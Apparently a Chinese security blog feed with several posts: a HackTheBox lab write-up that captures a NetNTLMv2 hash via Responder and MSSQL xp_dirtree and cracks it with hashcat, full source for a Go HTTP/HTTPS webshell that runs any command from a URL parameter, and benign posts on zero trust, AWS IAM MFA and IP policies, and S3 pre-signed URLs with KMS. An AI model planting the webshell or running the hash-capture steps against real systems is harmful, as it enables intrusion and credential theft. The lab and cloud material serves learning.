在这篇文章中,我会介绍一下,如何利用Responder监听拿到目标机的NetNTLMv2 hash。以及如何使用HashCat破解hash还原密码。

0x01 实验环境

攻击机(Kali Linux):10.10.14.7

靶机(Microsoft Windows Server 2019 Standard):10.10.10.125

我们现在以及拿到了一个低权限的MSSQL账号密码,然后想要利用Responder进一步拿到NetNTLMv2 hash。

当然拿到NetNTLMv2 hash的方法还有很多,比如说我18年在朋友圈提到的Word doc UNC注入拿NetNTLMv2 hash。

1

0x02 如何利用Responder监听目标机器的NetNTLMv2 hash?

第1步:启动Responder

1
responder -I tun0

2

第2步:利用SMB文件共享,访问攻击机的目录,请求就会打在Responder上了

1
xp_dirtree "\\10.10.14.7\tonghuaroot.com"

3

第3步:检查Responder记录

可以看到我们已经成功拿到了NTLMv2 hash。

4

1
mssql-svc::QUERIER:3dedaec57679f94c:D07E7F388AC9FBCC407509FCF0745E13:0101000000000000C0653150DE09D20174F5F4C3BF1B0BDA000000000200080053004D004200330001001E00570049004E002D00500052004800340039003200520051004100460056000400140053004D00420033002E006C006F00630061006C0003003400570049004E002D00500052004800340039003200520051004100460056002E0053004D00420033002E006C006F00630061006C000500140053004D00420033002E006C006F00630061006C0007000800C0653150DE09D201060004000200000008003000300000000000000000000000003000006E68D653C9F1101BDD416587149E0A62257D13DFDAE23D53CEF44E8FB43B04120A0010000000000000000000000000000000000009001E0063006900660073002F00310030002E00310030002E00310034002E003700000000000000000000000000

0x03 如何利用HashCat破解NetNTLMv2 Hash?

其实很简单,HashCat在破解密码的时候分为不同的Mode,对应不同的加密方式。

第1步:确认应该采用哪种Mode进行破解

1
hashcat --example-hashes | less

5

MODE: 5600

第2步:加载字典破解NetNTLMv2 hash

(注:这里只是演示使用思路,具体实际环境使用GPU破解、搭建密码破解集群等内容将会在后面的内容为大家介绍。)

1
hashcat -m 5600 hashes/Querier.ntlmv2 /usr/share/wordlists/rockyou.txt --force

6

域:QUERIER

用户名:MSSQL-SVC

密码:corporate568

使用上面HashCat跑出来的凭证我们就可以继续后续的利用了,当然这部分并不是本文讨论的重点。

7

0x04 后记

在这篇文章种主要记录了一下使用使用HashCat破解NetNTLMv2 Hash。

如果您对我的文章感兴趣,并且再复现的时候遇到了困难,请随时PM我,我非常愿意花时间和您讨论。

PS:渗透这东西主要还是积累、经验和思路,再就是要多动手,HTB这个平台我吹到爆,实验环境多的很,真的是舒服。

0x05 参考链接

[1] Querier, https://www.hackthebox.eu/home/machines/profile/175

[2] HackTheBox - Querier, https://www.youtube.com/embed/d7ACjty4m7U?rel=0&controls=1&modestbranding=1

]]>
<h2 id="0x00-前言"><a href="#0x00-前言" class="headerlink" title="0x00 前言"></a>0x00 前言</h2><p>当我们利用Responder拿到目标机做SMB文件共享时使用的NetNTLMv2 hash后,可以利
我也来喷一喷零信任 https://tonghuaroot.com/2020/02/28/Zero-trust-in-my-eyes/ 2020-02-27T23:18:58.000Z 2020-02-28T07:29:46.000Z
  • 2019年12月26日 11:29
  • 零信任安全架构的核心就是 Never Trust, Always Verify。

    说白了就是针对身份实体的请求上下文做一个综合判断,最后给出allow或者deny的结论,可玩的点还是在于鉴权的proxy怎么实现,规则怎么写,怎么对接后端服务,如何配合专业研发的能力,做好system design实现高并发、高可用(毕竟原本可以直接打到后段服务的请求,现在要走一层鉴权的proxy)。

    为啥中文资料说的一个比一个玄乎,你跟所谓“安全专家”请教零信任的时候,他就跟你玄学科普,只谈宏观安全建设,不谈技术细节,你拿着Google BeyondCorp的paper再跟他讨论如何落地的时候,他又避而不谈跟你扯到ATT&CK了,我…港真,直接撸BeyondCorp那篇paper,再结合公有云厂商的IAM实现来看比那些蹭流量的辣鸡水文靠谱的多。

    另外,我酸了,有的时候闷头搞东西出不来成果的时候,真的很羡慕这些靠吹牛逼赚钱的“安全专家”。

    ]]>
    <ul> <li>2019年12月26日 11:29</li> </ul> <p>零信任安全架构的核心就是 Never Trust, Always Verify。</p> <p>说白了就是针对身份实体的请求上下文做一个综合判断,最后给出allow或者deny的结论,可玩的点还是在
    如何实现一个基于 Golang 的 webshell? https://tonghuaroot.com/2020/01/01/Golang-webshell/ 2020-01-01T06:42:39.000Z 2020-01-01T14:52:54.000Z 0x00 前言

    在这篇文章中,我将记录一下如何使用Golang实现一个webshell。

    0x01 HTTP

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    package main

    import (
    "fmt"
    "log"
    "net/http"
    "os"
    "os/exec"
    )

    var shell = "/bin/sh"
    var shellArg = "-c"

    func main() {
    if len(os.Args) != 2 {
    fmt.Printf("Usage: %s <listenAddress>\n", os.Args[0])
    fmt.Printf("Example: %s localhost:8080\n", os.Args[0])
    os.Exit(1)
    }

    http.HandleFunc("/", requestHandler)
    log.Println("Listening for HTTP requests.")
    err := http.ListenAndServe(os.Args[1], nil)
    if err != nil {
    log.Fatal("Error creating server. ", err)
    }
    }

    func requestHandler(writer http.ResponseWriter, request *http.Request) {
    // Get command to execute from GET query parameters
    cmd := request.URL.Query().Get("cmd")
    if cmd == "" {
    fmt.Fprintln(
    writer,
    "No command provided. Example: /?cmd=whoami")
    return
    }

    log.Printf("Request from %s: %s\n", request.RemoteAddr, cmd)
    fmt.Fprintf(writer, "You requested command: %s\n", cmd)

    // Run the command
    command := exec.Command(shell, shellArg, cmd)
    output, err := command.Output()
    if err != nil {
    fmt.Fprintf(writer, "Error with command.\n%s\n", err.Error())
    }

    // Write output of command to the response writer interface
    fmt.Fprintf(writer, "Output: \n%s\n", output)
    }

    image

    1
    2
    3
    4
    5
    6
    7
    8
    9
    ec2-user@kali:~/go/src/webshell$ go install webshell
    ec2-user@kali:~/go/src/webshell$ ~/go/bin/webshell 0.0.0.0:80
    2020/01/01 14:05:55 Listening for HTTP requests.
    2020/01/01 14:05:55 Error creating server. listen tcp 0.0.0.0:80: bind: permission denied
    ec2-user@kali:~/go/src/webshell$ sudo ~/go/bin/webshell 0.0.0.0:80
    2020/01/01 14:06:00 Listening for HTTP requests.
    2020/01/01 14:06:04 Request from 54.222.196.177:61772: ifconfig
    ^C
    ec2-user@kali:~/go/src/webshell$

    image

    0x02 HTTPS

    注意把证书和私钥配上就可以走HTTPS了。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    package main

    import (
    "fmt"
    "log"
    "net/http"
    "os"
    "os/exec"
    )

    var shell = "/bin/sh"
    var shellArg = "-c"

    func main() {
    if len(os.Args) != 2 {
    fmt.Printf("Usage: %s <listenAddress>\n", os.Args[0])
    fmt.Printf("Example: %s localhost:8080\n", os.Args[0])
    os.Exit(1)
    }

    http.HandleFunc("/", requestHandler)
    log.Println("Listening for HTTPS requests.")
    err := http.ListenAndServeTLS(
    "os.Args[1]",
    "cert.pem",
    "privateKey.pem",
    nil,
    )
    if err != nil {
    log.Fatal("Error creating server. ", err)
    }
    }

    func requestHandler(writer http.ResponseWriter, request *http.Request) {
    // Get command to execute from GET query parameters
    cmd := request.URL.Query().Get("cmd")
    if cmd == "" {
    fmt.Fprintln(
    writer,
    "No command provided. Example: /?cmd=whoami")
    return
    }

    log.Printf("Request from %s: %s\n", request.RemoteAddr, cmd)
    fmt.Fprintf(writer, "You requested command: %s\n", cmd)

    // Run the command
    command := exec.Command(shell, shellArg, cmd)
    output, err := command.Output()
    if err != nil {
    fmt.Fprintf(writer, "Error with command.\n%s\n", err.Error())
    }

    // Write output of command to the response writer interface
    fmt.Fprintf(writer, "Output: \n%s\n", output)
    }

    image
    1
    2
    3
    4
    ec2-user@kali:~/go/src/httpswebshell$ curl 127.0.0.1:443/?cmd=id
    You requested command: id
    Output:
    uid=0(root) gid=0(root) groups=0(root)

    image

    0x03 使用方法(交叉编译)

    需要针对目标主机的类型,将其编译为对应的可执行文件。
    本地测试命令:

    1
    2
    sudo go run ~/go/src/httpswebshell/webshell.go 0.0.0.0:443
    go install httpswebshell # 编译

    0x04 后记

    记录一下使用Golang实现webshell,走HTTP(S)。

    0x05 参考文献

    [1] Security with Go

    ]]>
    <h2 id="0x00-前言"><a href="#0x00-前言" class="headerlink" title="0x00 前言"></a>0x00 前言</h2><p>在这篇文章中,我将记录一下如何使用Golang实现一个webshell。</p> <h2 id="0
    如何配置Policy强制AWS控制台使用MFA,CLI不用MFA? https://tonghuaroot.com/2019/11/25/AWS-IAM-MFA-force-console-no-use-MFA-in-CLI/ 2019-11-25T00:42:17.000Z 2019-11-25T08:50:22.000Z 0x00 前言

    众所周知,AWS在账号体系这块支持使用MFA,而我们在使用MFA的时候通常有如下几种场景:

    1. 用或者不用MFA都行
    2. 通过Policy强制User使用MFA(console、CLI),不用的话就不让你访问
    3. 通过Policy强制User在控制台使用MFA,在CLI上不使用MFA(安全向业务需求的妥协)
    4. MFA相关Policy Key的解读
    5. Yubikey、硬件MFA设备初体验

    所以说嘛,安全这个事是相对的,回到安全哲学上,这件事取决于要保护的业务资产的重要程度和价值。下面就上述几种情况的使用场景及配置方法,做一下逐一说明。(需要留意的是目前在AWS中国区只支持虚拟MFA设备,不支持硬件MFA设备或者Yubikey。)

    0x01 配置IAM User支持MFA(用或者不用MFA都不影响User能否使用AWS资源)

    我有一个附加了管理员权限的IAM User,但是没有附加任何MFA相关的Policy。这种情况下就属于用不用MFA都行的场景,通常适用于安全意识比较高,可以自觉配置的MFA的同学,比如说企业的安全工程师。或者作为测试账号用用。
    下面我们就来看看MFA功能如何配置:

    1. 搞个虚拟MFA APP(AWS中国区目前只支持虚拟MFA设备,不支持硬件MFA、Yubikey)
    2. 去IAM控制台配置

    image

    image

    配置完成后,当我们在控制台登录该IAM User时,是需要输入PIN code的(CLI不需要)。

    image

    image

    登录之后,就可以访问里头的服务和资源了。CLI可以直接使用,而无需使用MFA:

    1
    aws s3 ls --profile mfa_tonghua --region cn-north-1

    image

    0x02 通过Policy强制User使用MFA(console、CLI),不用的话就不让你访问

    可以看到上述配置有一个小问题,就是我没有MFA的Policy,当这个User取消MFA之后仍然可以正常登录AWS控制台。那作为一家安全意识比较高的企业或者团队,要求强制使用MFA,如果不使用的话,就不让你继续访问AWS的服务,这里我就说说这个Policy该怎么实现 [2]。按照文档中的Policy,几乎不用做任何修改,附加至User上看看(arn:aws:iam::需要替换成符合中国区规范的arn地址 arn:aws-cn:iam::)。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    {
    "Version": "2012-10-17",
    "Statement": [
    {
    "Sid": "AllowViewAccountInfo",
    "Effect": "Allow",
    "Action": "iam:ListVirtualMFADevices",
    "Resource": "*"
    },
    {
    "Sid": "AllowManageOwnVirtualMFADevice",
    "Effect": "Allow",
    "Action": [
    "iam:CreateVirtualMFADevice",
    "iam:DeleteVirtualMFADevice"
    ],
    "Resource": "arn:aws-cn:iam::*:mfa/${aws:username}"
    },
    {
    "Sid": "AllowManageOwnUserMFA",
    "Effect": "Allow",
    "Action": [
    "iam:DeactivateMFADevice",
    "iam:EnableMFADevice",
    "iam:GetUser",
    "iam:ListMFADevices",
    "iam:ResyncMFADevice"
    ],
    "Resource": "arn:aws-cn:iam::*:user/${aws:username}"
    },
    {
    "Sid": "DenyAllExceptListedIfNoMFA",
    "Effect": "Deny",
    "NotAction": [
    "iam:CreateVirtualMFADevice",
    "iam:EnableMFADevice",
    "iam:GetUser",
    "iam:ListMFADevices",
    "iam:ListVirtualMFADevices",
    "iam:ResyncMFADevice",
    "sts:GetSessionToken"
    ],
    "Resource": "*",
    "Condition": {
    "BoolIfExists": {"aws:MultiFactorAuthPresent": "false"}
    }
    }
    ]
    }

    策略配置成功之后,当我们在CLI中访问可以看到已经报访问拒绝(Access Denied)的错误了。

    image

    然后,当我把MFA设备取消激活之后,发现在控制台登录也会被禁止访问了(准确的说,是可以登录成功,但是无法访问任何资源,只有激活MFA之后才能继续使用)。

    image

    image

    恩,构造好类似这样的URL:https://console.amazonaws.cn/iam/home?region=cn-north-1#/users/mfa_tonghua?section=security_credentials当前用户可以给自己创建虚拟MFA设备啦。
    那你可能就要说了,我控制台上能输入PIN Code访问了,那我CLI咋整啊,有啥参数可以指定吗。emm,莫得慌张CLI可以这么玩[3](思路就是输入PIN Code创建临时访问凭证,然后使用临时的访问凭证去访问AWS资源):

    1
    aws sts get-session-token --serial-number arn:aws-cn:iam::123456789012:mfa/mfa_tonghua --token-code 631424 --profile mfa_tonghua --region cn-north-1

    image

    –token-code 参数就是虚拟MFA设备上头的动态PIN Code。
    然后配置临时的访问凭证访问即可:

    1
    2
    3
    export AWS_ACCESS_KEY_ID=333
    export AWS_SECRET_ACCESS_KEY=222
    export AWS_SESSION_TOKEN=111

    可以看到已经可以使用临时访问凭证,访问AWS的资源了:

    image

    如果您通过–debug查看的话可以看到,使用的凭证就是在环境变量env中加载出来的:

    1
    2
    2019-11-25 06:10:51,777 - MainThread - botocore.credentials - DEBUG - Looking for credentials via: env
    2019-11-25 06:10:51,778 - MainThread - botocore.credentials - INFO - Found credentials in environment variables.

    如果您不想使用环境变量中的临时凭证了,使用unset命令,删掉指定的环境变量即可。

    0x03 通过Policy强制User在控制台使用MFA,在CLI上不使用MFA(安全向业务需求的妥协)

    上面那种CLI/Console中都强制使用MFA是最稳的一种方式。有的时候,业务部门的同事jio着CLI上还要输入MFA的PIN Code然后拿临时访问凭证好麻烦啊,能不能CLI上不走MFA额,这件事情是可以做到的,但是在做之前要明确几件事情:

    1. 现有的CLI通过输入PIN Code生成临时访问凭证的方式为什么不能满足需求?
    2. 有没有尝试使用EC2 Role的方式?能不能满足需求?
    3. 不走MFA,CLI凭证泄露的风险由业务部门自行承担
      几个问题都问完之后,就可以接着往下操作了,其实很简单,只要修改Policy中的如下部分即可:
      1
      2
      "Effect" : "Deny",
      "Condition" : { "Bool" : { "aws:MultiFactorAuthPresent" : false } }
      唯一的区别就是将BoolIfExists修改为Bool,先测试一下看看效果,稍后会对这些Key做详细的解读。
      可以看到CLI上已经无需使用MFA了,而控制台仍然需要:

    image

    image

    搞定!

    0x04 MFA相关Policy Key的解读

    在这一小节,我就着重说一说Policy中跟MFA息息相关的Policy Key,一共如下几个:

    1. aws:MultiFactorAuthPresent
    2. BoolIfExists
    3. Bool
      aws:MultiFactorAuthPresent是Policy中的全局Condition Key[4],当用户使用临时访问凭证发起请求时,在其请求的上下文中会包含该Key,使用持久化的访问凭证发起请求时,在其请求上下文中是不包含该Key的。
      那什么是临时访问凭证发起的请求呢?典型有控制台、Role、或者get-session-token生成的凭证都是临时访问凭证。
      那CLI/控制台都是用MFA的Policy怎么解读呢:
      1
      2
      "Effect" : "Deny",
      "Condition" : { "BoolIfExists" : { "aws:MultiFactorAuthPresent" : false } }
      临时访问凭证中包含aws:MultiFactorAuthPresent这个Key,
      在请求上下文中,如果包含aws:MultiFactorAuthPresent这个Key,并且这个Key等于true代表用了MFA,等于false代表没走MFA。
      那回到这个Policy,当我使用了MFA时,aws:MultiFactorAuthPresent==true,然后这个Condition不成立,就不会执行该Policy,然后就会allow继续操作,如果我没使用MFA,aws:MultiFactorAuthPresent==false,条件成立,Policy生效,会Deny掉相关的API call。当我使用持久凭证时,没有aws:MultiFactorAuthPresent这个Key,所以默认Condition成立,进而Policy成立,会Deny掉相关API call。
      在控制台中使用MFA,CLI中不使用MFA的Policy解读:
      1
      2
      "Effect" : "Deny",
      "Condition" : { "Bool" : { "aws:MultiFactorAuthPresent" : false } }
      在请求上下文中,aws:MultiFactorAuthPresent == true(使用MFA)时,Condition不成立,Policy不生效,可以执行相关API call,等于false时,Condition成立,Policy生效,会被Deny掉相关API call。

    0x05 Yubikey、硬件MFA设备初体验

    注意了,以下的配置目前并不适用于AWS中国区,但是为了保证文章的完整性,我在AWS Global区域做了测试。
    先来看看YubiKey:

    image

    image

    image

    再登录的时候就变成这样了:

    image

    当然,遇到问题了也别慌,参考下这个[5],看能不能解决您的问题。
    硬件MFA设备先不看了,我的设备是8位的,它的好像只能6位?

    0x06 总结

    记录一下AWS使用MFA的常见场景,备忘。

    0x07 参考链接

    [1] Multi-factor Authentication, https://aws.amazon.com/cn/iam/features/mfa/
    [2] AWS: Allows MFA-Authenticated IAM Users to Manage Their Own MFA Device on the My Security Credentials Page, https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_examples_aws_my-sec-creds-self-manage-mfa-only.html
    [3] How do I use an MFA token to authenticate access to my AWS resources through the AWS CLI?, https://aws.amazon.com/premiumsupport/knowledge-center/authenticate-mfa-cli/?nc1=h_ls
    [4] AWS Global Condition Context Keys, https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html
    [5] Troubleshooting U2F Security Keys, https://docs.aws.amazon.com/IAM/latest/UserGuide/troubleshoot_mfa-u2f.html

    ]]>
    <h2 id="0x00-前言"><a href="#0x00-前言" class="headerlink" title="0x00 前言"></a>0x00 前言</h2><p>众所周知,AWS在账号体系这块支持使用MFA,而我们在使用MFA的时候通常有如下几种场景:</p>
    如何限制IAM User只能在指定的IP登录? https://tonghuaroot.com/2019/11/23/Specify-IP-Use-AWS/ 2019-11-23T07:52:47.000Z 2019-11-23T15:56:00.000Z 0x00 前言

    无论是创建IAM User的时候,还是在配置Policy的时候,都可以看到Policy中的Condition中是有一个aws:SourceIp属性的。

    0x01 如何写这个Polciy

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    {
    "Version": "2012-10-17",
    "Statement": [
    {
    "Sid": "VisualEditor0",
    "Effect": "Allow",
    "Action": "*",
    "Resource": "*",
    "Condition": {
    "IpAddress": {
    "aws:SourceIp": "54.222.xxx.xxx/32"
    }
    }
    }
    ]
    }

    aws:SourceIp键对应的值修改为办公网出口IP即可(保险起见要确定出口IP是固定不变的,而不是采用的动态IP)。

    那你可能就要说了,如果我有多个IP段那该咋整呢?简单,可以跟着这个Policy改改就行了:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    {
    "Version": "2012-10-17",
    "Statement": [
    {
    "Sid": "VisualEditor0",
    "Effect": "Allow",
    "Action": "*",
    "Resource": "*",
    "Condition": {
    "ForAnyValue:IpAddress": {
    "aws:SourceIp": [
    "54.222.xxx.xxx/32",
    "192.168.1.1"
    ]
    }
    }
    }
    ]
    }

    上述Policy可同时限制CLI和console。

    0x02 Policy 参数解读

    在上面的示例Policy中,有几个参数还是比较有价值的,一一解读一下ForAnyValue、IpAddress、aws:SourceIp:

    1. ForAnyValue,只要有一个值在符合要求,那就是符合要求
    2. IpAddress,IP地址,支持普通的地址格式、CIDR格式
    3. aws:SourceIp,请求的客户端IP

    0x03 总结

    额,这种直接测一下就行了,生产环境上头还是先测测,确认可行再上生产。

    0x04 参考链接

    [1] Creating a Condition with Multiple Keys or Values, https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_multi-value-conditions.html
    [2] Request, https://docs.aws.amazon.com/IAM/latest/UserGuide/intro-structure.html#intro-structure-request

    ]]>
    <h2 id="0x00-前言"><a href="#0x00-前言" class="headerlink" title="0x00 前言"></a>0x00 前言</h2><p>无论是创建IAM User的时候,还是在配置Policy的时候,都可以看到Policy中的Condi
    S3 pre-signed URL 与 KMS 加密那些事 https://tonghuaroot.com/2019/11/23/S3-pre-signed-url-and-KMS/ 2019-11-23T06:53:55.000Z 2019-11-23T15:05:22.000Z 0x00 前言

    在这篇文章中,我会记录一下关于S3 pre-signed url和KMS加密交互的一些玩法。比如说:

    1. 简单介绍一下什么是S3 pre-signed URL
    2. 经过KMS加密之后还能直接公开访问object吗?
    3. 经过KMS加密之后还能通过pre-signed URL的方式将object公开访问吗?
    4. 访问S3 pre-signed URL报认证错误应该怎么处理?

    0x01 S3 pre-signed URL 概述

    简单理解,就是我们想将一个S3桶中的对象临时公开,可以通过presign命令生成一个临时有效期的链接,而用户可以通过这个临时的URL下载并访问对象。
    话不多说了,先来个命令看看咋回事,正常情况下我们使用有权限的AKSK访问指定对象时会通过如下命令:

    1
    2
    [root@ip-10-0-0-64 ~]# aws s3 cp s3://aaabbbccc/webwxgeticon.jpg webwxgetion.jpg --profile root
    download: s3://aaabbbccc/webwxgeticon.jpg to ./webwxgetion.jpg

    如果我们没有登录去下载的话,通常会报一个访问禁止的403错误,如下:
    1
    2
    [root@ip-10-0-0-64 ~]# aws s3 cp s3://aaabbbccc/webwxgeticon.jpg webwxgetion.jpg --no-sign-request
    fatal error: An error occurred (403) when calling the HeadObject operation: Forbidden

    使用浏览器或者wget直接下载的话,会报如下错误:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    [root@ip-10-0-0-64 ~]# wget https://aaabbbccc.s3.cn-north-1.amazonaws.com.cn/webwxgeticon.jpg
    --2019-11-23 13:33:05-- https://aaabbbccc.s3.cn-north-1.amazonaws.com.cn/webwxgeticon.jpg
    Resolving aaabbbccc.s3.cn-north-1.amazonaws.com.cn (aaabbbccc.s3.cn-north-1.amazonaws.com.cn)... 54.222.49.142
    Connecting to aaabbbccc.s3.cn-north-1.amazonaws.com.cn (aaabbbccc.s3.cn-north-1.amazonaws.com.cn)|54.222.49.142|:443... connected.
    HTTP request sent, awaiting response... 403 Forbidden
    2019-11-23 13:33:05 ERROR 403: Forbidden.

    [root@ip-10-0-0-64 ~]# curl https://aaabbbccc.s3.cn-north-1.amazonaws.com.cn/webwxgeticon.jpg
    <?xml version="1.0" encoding="UTF-8"?>
    <Error><Code>AccessDenied</Code><Message>Access Denied</Message><RequestId>39231AA211436AF7</RequestId><HostId>a7athzq0DU1D11oBpMF9ZeNziPz9sjw1ZLY0Ga+xUmpMN1ZkhnITDci7zisSfDa+nyTcw/sbSkk=</HostId></Error>[root@ip-10-0-0-64 ~]#

    image

    当然,上述做法是因为我没有把对象开放公开访问的权限,所以报错是正常的。这个时候我有一个使用场景,就是我想把一个对象临时的开放给某一个用户,而这通常有两种做法,一种是直接公开,另一种是使用这里提到的pre-signed URL的方法,第一种直接公开的方法是并不可取的,因为如果有人能爆破出来这个URL的话,那他就可以直接下载这个对象了,而且在对象有效期管理上,也是一个比较复杂的事,那我们直接上pre-signed URL看看:

    1
    2
    3
    [root@ip-10-0-0-64 ~]# aws s3 presign s3://aaabbbccc/webwxgeticon.jpg --profile root
    https://aaabbbccc.s3.cn-north-1.amazonaws.com.cn/webwxgeticon.jpg?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Expires=3600&X-Amz-Credential=AKIAXUIR4JOPO4YK27P7%2F20191123%2Fcn-north-1%2Fs3%2Faws4_request&X-Amz-SignedHeaders=host&X-Amz-Date=20191123T133719Z&X-Amz-Signature=1bdedc3e99edc60fd266f10ec4368166112d9b311610f02910304ae6eda28503
    [root@ip-10-0-0-64 ~]#

    然后拿着这个pre-signed URL就可以访问对象了:

    image

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    [root@ip-10-0-0-64 ~]# aws s3api head-object --bucket aaabbbccc --key webwxgeticon.jpg --profile root
    {
    "AcceptRanges": "bytes",
    "ContentType": "image/jpeg",
    "LastModified": "Sat, 23 Nov 2019 13:31:01 GMT",
    "ContentLength": 13048,
    "ETag": "\"bade48249f0809beca0226e7ec4ef50f\"",
    "Metadata": {}
    }
    [root@ip-10-0-0-64 ~]# curl "https://aaabbbccc.s3.cn-north-1.amazonaws.com.cn/webwxgeticon.jpg?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Expires=3600&X-Amz-Credential=AKIAXUIR4JOPO4YK27P7%2F20191123%2Fcn-north-1%2Fs3%2Faws4_request&X-Amz-SignedHeaders=host&X-Amz-Date=20191123T133719Z&X-Amz-Signature=1bdedc3e99edc60fd266f10ec4368166112d9b311610f02910304ae6eda28503" --output 1.jpg
    % Total % Received % Xferd Average Speed Time Time Time Current
    Dload Upload Total Spent Left Speed
    100 13048 100 13048 0 0 326k 0 --:--:-- --:--:-- --:--:-- 326k
    [root@ip-10-0-0-64 ~]# md5sum 1.jpg
    bade48249f0809beca0226e7ec4ef50f 1.jpg
    [root@ip-10-0-0-64 ~]#

    image

    上面就是一个S3 pre-signed URL的正常使用流程,接下来看看各种奇葩场景。

    0x02 经过KMS加密之后还能直接公开访问object吗?

    众所周知,当我们给一个S3 Bucket设置KMS加密之后,当我们把对象公开之后,是没有办法直接通过URL去访问的。其背后的原理是因为当我们下载对象的时候需要向KMS服务端发起解密的请求,而直接通过浏览器URL访问,是没有带任何KMS相关的参数的,所以也就没有解密这种说法了。
    我这边尽可能的多想一些场景测试看看,基本覆盖日常常见问题:

    1. 不加密的S3 Bucket,当我们公开一个对象之后,是可以直接访问的(这个没什么说的,就是预期功能),为了保证实验的顺利进行,先关闭S3 Bucket的【阻止所有公共访问】功能,然后公开一个对象看看:

    image

    可以看到浏览器中已经可以正常打开这个公开的对象了:

    image

    1. 那如果我上传的对象使用KMS加密了呢?其再次公开的时候会出现什么现象?

    image

    可以看到,当我们在浏览器中直接访问是,其会报一个无效参数的错误。

    1
    2
    3
    [root@ip-10-0-0-64 ~]# curl https://aaabbbccc.s3.cn-north-1.amazonaws.com.cn/HappyFace.jpg
    <?xml version="1.0" encoding="UTF-8"?>
    <Error><Code>InvalidArgument</Code><Message>Requests specifying Server Side Encryption with AWS KMS managed keys require AWS Signature Version 4.</Message><ArgumentName>Authorization</ArgumentName><ArgumentValue>null</ArgumentValue><RequestId>1EE0A543A5ACF250</RequestId><HostId>vx4Jj96IbW6MGeo4+nNkCzJqtsjo7+7tnxoxr1M6SZG+otZMp3oB0Z1Qb9F+Yr9QzQc7BqsuYmY=</HostId></Error>[root@ip-10-0-0-64 ~]#

    看到这个报错是提示我没有使用signV4的签名,那我使用CLI去跨账号测试,看看会提示什么:

    1
    2
    3
    [root@ip-10-0-0-64 ~]# aws s3 cp s3://aaabbbccc/HappyFace.jpg HappyFace.jpg
    download failed: s3://aaabbbccc/HappyFace.jpg to ./HappyFace.jpg An error occurred (AccessDenied) when calling the GetObject operation: Access Denied
    [root@ip-10-0-0-64 ~]#

    没有报参数无效,而是报了一个访问拒绝的:

    1
    2
    3
    [root@ip-10-0-0-64 ~]# aws s3 cp s3://aaabbbccc/HappyFace.jpg HappyFace.jpg
    download failed: s3://aaabbbccc/HappyFace.jpg to ./HappyFace.jpg An error occurred (AccessDenied) when calling the GetObject operation: Access Denied
    [root@ip-10-0-0-64 ~]#

    这就比较有意思了,对象明明已经公开了,但是仍然提示访问拒绝,那估计我把KMS CMK的加解密权限也公开之后没准通过CLI随便指定个User之后,没准就能访问了呢。

    1. 说干就干哈,KMS CMK加解密权限公开,S3 对象权限公开之后,会是啥状态呢?
      当然,不用想了,浏览器中访问,签名走的是signV2所以肯定跟上面报一个错误的:

    image

    比较有意思的是,我在CLI中使用另一个用户下载该对象是成功的(KMS CMK的加解密权限已公开):

    1
    2
    3
    [root@ip-10-0-0-64 ~]# aws s3 cp s3://aaabbbccc/HappyFace.jpg HappyFace.jpg
    download: s3://aaabbbccc/HappyFace.jpg to ./HappyFace.jpg
    [root@ip-10-0-0-64 ~]#

    按照这个思路,如果作为一个匿名用户,也通过signV4签名的方式访问,是不是也可以下载这个经过KMS加密的公开的对象了呢,比较尴尬的,似乎signV4就是要使用AKSK的,所以没法整,匿名用户都是走的signV2。
    如果我使用–no-sign-request参数呢,可以看到也是不行的,因为你没有办法让–no-sign-request访问KMS的时候走signV4:

    1
    2
    3
    4
    [root@ip-10-0-0-64 ~]# aws s3 cp s3://aaabbbccc/HappyFace.jpg HappyFace.jpg --no-sign-request
    download failed: s3://aaabbbccc/HappyFace.jpg to ./HappyFace.jpg An error occurred (InvalidArgument) when calling the GetObject operation: Requests specifying Server Side Encryption with AWS KMS managed keys require AWS Signature Version 4. You can enable AWS Signature Version 4 by running the command:
    aws configure set s3.signature_version s3v4
    [root@ip-10-0-0-64 ~]#

    至此,我再总结一下:

    1. 如果使用了KMS加密,那无论KMS CMK的权限,当我把S3 object公开之后,通过浏览器或者wget都是不能访问的,会提示“无效参数”的错误。
    2. 如果使用了KMS加密,KMS的权限对外开放,那我如果使用CLI配置某一个用户之后是可以正常访问的
    3. 如果使用了KMS加密,KMS的权限对外开放,如果CLI使用–no-sign-request匿名执行命令也是不可以的

    0x03 经过KMS加密之后还能通过pre-signed URL的方式将object公开访问吗?

    容我先把KMS CMK的权限改回去,然后关闭该对象的公开访问,然后在生成pre-signed URL试试:

    1
    2
    3
    [root@ip-10-0-0-64 ~]# aws s3 presign s3://aaabbbccc/HappyFace.jpg --profile root
    https://aaabbbccc.s3.cn-north-1.amazonaws.com.cn/HappyFace.jpg?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Expires=3600&X-Amz-Credential=AKIAXUIR4JOPO4YK27P7%2F20191123%2Fcn-north-1%2Fs3%2Faws4_request&X-Amz-SignedHeaders=host&X-Amz-Date=20191123T142742Z&X-Amz-Signature=1bc979333e36b60d908f59811d9221303b1a44957821c5d35996300ede935cc6
    [root@ip-10-0-0-64 ~]#

    可以看到,是正常访问的:

    image

